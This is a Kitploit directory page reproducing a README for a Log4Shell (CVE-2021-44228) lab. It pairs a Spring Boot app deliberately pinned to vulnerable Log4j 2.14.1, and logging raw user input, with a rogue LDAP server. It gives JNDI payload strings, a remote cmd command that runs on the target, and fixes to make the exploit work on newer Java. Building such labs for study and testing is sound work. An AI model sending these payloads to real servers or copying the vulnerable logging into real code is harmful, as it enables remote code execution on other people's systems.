Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
log4j2-test — Log4j2 LDAP 脆弱性テスト (CVE-2021-44228) | Kitploit
ツール/GitHubGitHub/mklinkj/log4j2-test
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHubmklinkj/log4j2-test

log4j2-test

Log4j2 LDAP 脆弱性テスト (CVE-2021-44228)

リポジトリを見る
2年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Log4j2 2.14.1 LDAP リモートコード実行の脆弱性(CVE-2021-44228) 確認

🎈 Spring Boot 2.x 環境でのテスト

  • 脆弱性通知
    • https://nvd.nist.gov/vuln/detail/CVE-2021-44228

target-server

  • pom.xml : Log4j2 バージョンを脆弱バージョンにダウングレード

    root@kitploit:~
    <properties>
      <java.version>17</java.version>
      <!-- 현재 설정된 Spring Boot 버전은 취약점이 존재하는 log4j 2.14.1 보다 높은 버전을 가지기 때문에, 일부러 버전을 낮춘다.-->
      <log4j2.version>2.14.1</log4j2.version>
    </properties>
    
  • LoggingController : ユーザーの入力をそのまま受け取ってログ出力するコントローラーメソッドを追加

    root@kitploit:~
      @PostMapping("/form")
      public String form(String ldapString, RedirectAttributes rttr) {
        try {
          LOGGER.info("{}", ldapString);
          rttr.addFlashAttribute("exception", "예외 발생 X");
        } catch (Exception e) {
          rttr.addFlashAttribute("exception", "예외발생 O: " + e.getMessage());
        }
        return "redirect:/";
      }
    
  • ブラウザ実行

    target-server-view.png

動作確認内容

  1. 実際に ${jndi:ldap://127.0.0.1:19090/run} 文字列をサーバーに送信したとき、サーバーが 127.0.0.1:19090 への接続を試みる。

    root@kitploit:~
    2022-01-03 13:16:52.526  INFO 14736 --- [nio-8080-exec-7] o.m.t.c.LoggingController                : ${jndi:ldap://127.0.0.1:19090/run}
    2022-01-03 13:17:09,993 http-nio-8080-exec-10 WARN Error looking up JNDI resource [ldap://127.0.0.1:19090/run]. javax.naming.CommunicationException: 127.0.0.1:19090 [Root exception is java.net.ConnectException: Connection refused: connect]
    ...
    

    ローカルの19090ポートにLDAPサーバーが起動しているわけではないため、Connection refused: connect 例外でエラーログが残る。

  2. LOGGER.info("{}", ldapString); コードでは JNDIエラー例外がスローされなかった。

    • ログを詳細に確認せずに通り過ぎると、忘れてしまいがちな問題のようだ。

ldap-server

https://github.com/veracode-research/rogue-jndi このコードからTomcat関連部分のみを調査し、シンプルなSpring Bootプロジェクトとして構成した。

Tomcat関連部分のみを調査した理由は...

まず対象テストサーバーがSpring Bootの組み込みTomcatベースであるため、Tomcatのみを調査しても脆弱性の動作を確認できると考え、そのように進めた。

コマンドの準備

単純な計算機だけではシンプルすぎるので、cmdコマンドを組み合わせてみた。

  • ldapserver-config.properties

    root@kitploit:~
    # 타겟 서버의 윈도우 OS 버전을 텍스트 파일에 기록한 다음 메모장으로 여는 내용
    ldaptest.remote.command=cmd /c ver > test.txt && notepad test.txt
    ...
    

実際に試してみると、本当にテスト対象サーバーの実行ファイルのリモート実行が可能だった。確認方法は以下の通り。

  1. ldap-server サーバー、traget-server 実行

    root@kitploit:~
    # LDAP 서버 실행
    C:\git-mklinkj\log4j2-test\ldap-server>mvnw clean spring-boot:run
    
    # 테스트 타겟 서버 실행
    C:\git-mklinkj\log4j2-test\target-server>mvnw clean spring-boot:run
    
  2. テスト対象サーバーで ${jndi:ldap://127.0.0.1:19090/o=tomcat} 文字列を送信後確認

    remote-code-executed

    target-server プロジェクトルートに test.txt ファイルが作成され、メモ帳で実行された。

Java 15以上環境で動作確認時...

対象Tomcatに送るペイロード生成にJavaのJavaScript実装Nashornを使用しているが、Java 15からNashornが完全に削除された。そのためldapサーバーが対象Tomcatにコマンドを送ったが、コマンドが実行されない問題があった。

その場合は.. nashorn-core または rhino-engine のどちらか一つを対象Tomcatサーバーのライブラリとして追加すればよかった。

root@kitploit:~
<dependency>
  <groupId>org.openjdk.nashorn</groupId>
  <artifactId>nashorn-core</artifactId>
  <version>${nashorn.version}</version>
</dependency>
root@kitploit:~
<dependency>
  <groupId>org.mozilla</groupId>
  <artifactId>rhino-engine</artifactId>
  <version>${rhino-engine.version}</version>
</dependency>
  • 参考
    • JEP 372: Remove the Nashorn JavaScript Engine
      • https://openjdk.java.net/jeps/372
    • Known problems and workarounds
      • https://apache.github.io/jmeter-site-preview/site/changes.html

Maven POM 親子関係でのプロジェクト実行

バージョン管理を楽にするために 親子 関係でpom.xmlを修正したところ、以下のように親pomがあるディレクトリから実行できる。

root@kitploit:~
# 전체 테스트
$ mvnw clean test

# 백그라운드로 실행하지 않으므로 별도의 콘솔창에서 각각 실행햐아한다.
$ mvnw clean spring-boot:run -pl ldap-server
$ mvnw clean spring-boot:run -pl target-server

# 하위 프로젝트 디렉토리에 직접 들어가서 실행해도 된다.
$ cd target-server
$ mvnw clean spring-boot:run

感想

  • 実際に試してみると、この脆弱性を放置すると本当に危険だと思う。開発、ステージング環境でテストして、LDAP接続を発生させる部分がないか確認すべきだ。
  • rogue-jndi リポジトリの作成者 Michael Stepankin さんのおかげで確認できました。ありがとうございます。😄

免責事項

このソフトウェアは教育目的および/またはユーザーが事前に攻撃を許可したシステムのテストのみを目的として提供されます。
(rogue-jndi にもこの文言を追加されていたので、従って入れました。😓)

ツールをダウンロード